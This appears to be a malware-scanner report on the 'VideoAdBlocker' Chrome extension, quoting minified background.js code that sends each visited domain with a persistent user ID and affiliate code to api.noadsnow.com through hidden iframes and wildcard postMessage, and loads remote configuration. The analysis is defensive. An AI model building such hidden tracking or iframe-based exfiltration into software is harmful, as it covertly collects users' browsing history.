Security Alert: Confirmed Malware
VideoAdBlocker
ID: maoageeemeahpciddnehiloahpennflo
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- team.adblockView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Free adblocker against advertising and pop-ups, for youtube and other popular video websites
Install VideoAdblocker now and all the Pre-Roll Ads on your favorit video sites are gone, forever! ✓ About Permissions & Privacy like all ad-blocking extensions we need the following permissions to remove ads on embedded videos in any website. Any video adblock detection happens on your computer and we do not see or track any of your browsing history.
On every tab navigation to a supported video domain, the extension calls `https://api.noadsnow.com/custom-easylist?domain=<domain>&uid=<uid>&subid=<subid>`. The `uid` is a persistent per-install identifier stored in localStorage, and `subid` is an affiliate code harvested from the Chrome Web Store URL. This associates each domain visit with a unique user identity on a developer-controlled server, constituting undisclosed browsing-history collection.
n.loadEasyListForDomain = (a = o(regeneratorRuntime.mark(function t(n) { var e, i, o; return regeneratorRuntime.wrap(function(t) { for (;;) switch (t.prev = t.next) { case 0: return e = localStorage.getItem("uid"), t.next = 3, (0, r.getValue)("subid"); case 3: return i = t.sent, o = i.subid, new Date, t.abrupt("return", f(c + "/custom-easylist?domain=" + n + "&uid=" + e + (o ? "&subid=" + o : ""))); case 7: case "end": return t.stop() } }, t, void 0)})), function(t) { return a.apply(this, arguments)})All three API endpoints (`/domains`, `/config`, `/custom-easylist`) communicate through hidden iframes rather than standard extension XHR. Each call appends an iframe to `document.body`, loads the API URL inside it, then uses `postMessage` with a wildcard `"*"` target to retrieve the response. This is a deliberate obfuscation: normal background-page XHR is unrestricted in extensions; using iframes makes the traffic less visible in DevTools and harder to audit. The wildcard postMessage target also means any page embedded in the background context could intercept these messages.
var f = function t(n) { return new Promise(function(e, r) { var i = void 0, o = document.createElement("iframe"); o.src = n; var u = function t(u) { try { var a = JSON.parse(u.data); if (a.videoadblocker.url && a.videoadblocker.url !== n) return; if (clearTimeout(i), i = null, a.videoadblocker.response.error) return void r(a.videoadblocker .response.error); e(a.videoadblocker.response) } catch (t) { console.log("Error on parse json response, ", t) } window.removeEventListener("message", t, !1), o.parentNode.removeChild(o) }; if (window.addEventListener("message", u, !1), o.onload = function() { return o.contentWindow.postMessage("getResponse", "*") }, ...On initialization, the extension queries active Chrome Web Store tabs and extracts any `subid` query parameter — an affiliate/referral code used to attribute installs to traffic sources. This code is then persistently saved and appended to every subsequent `api.noadsnow.com` request. This enables the developer to correlate individual users with the marketing channels that drove their install, monetizing each user's browsing data through an affiliate tracking scheme.
chrome.tabs.query({ active: !0, url: "https://chrome.google.com/webstore/*" }, function(t) { var n; t[0] && t.forEach((n = h(regeneratorRuntime.mark(function t(n) { var e, r, i; return regeneratorRuntime.wrap(function(t) { for (;;) switch (t.prev = t.next) { case 0: if (!n.url.search(/subid=/g)) { t.next = 7; break } if (e = new URL(n.url), r = new URLSearchParams(e.search), !(i = r .get("subid"))) { t.next = 7; break } return t.next = 7, (0, o.saveValue)({ subid: i });At startup, the extension fetches its list of supported video domains from `api.noadsnow.com/domains?uid=<uid>` and its configuration from `api.noadsnow.com/config?browser=<browser>`. Because these endpoints are developer-controlled and dynamically served, the operator can remotely modify which sites the extension monitors and how it behaves — effectively granting the server ongoing remote control over extension behavior without any update to the packaged code.
n.loadDomains = function(t, n) { var e = c + "/domains?uid=" + t; return n && (e += "&isSelfHosted=true"), localStorage.setItem("uid", "" + t), f(e)}, n.loadConfig = function(t) { return f(c + "/config?browser=" + t)}By severity
Versions scanned
Showing 1 of 5 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.0.0 | 4 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/background.js4
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.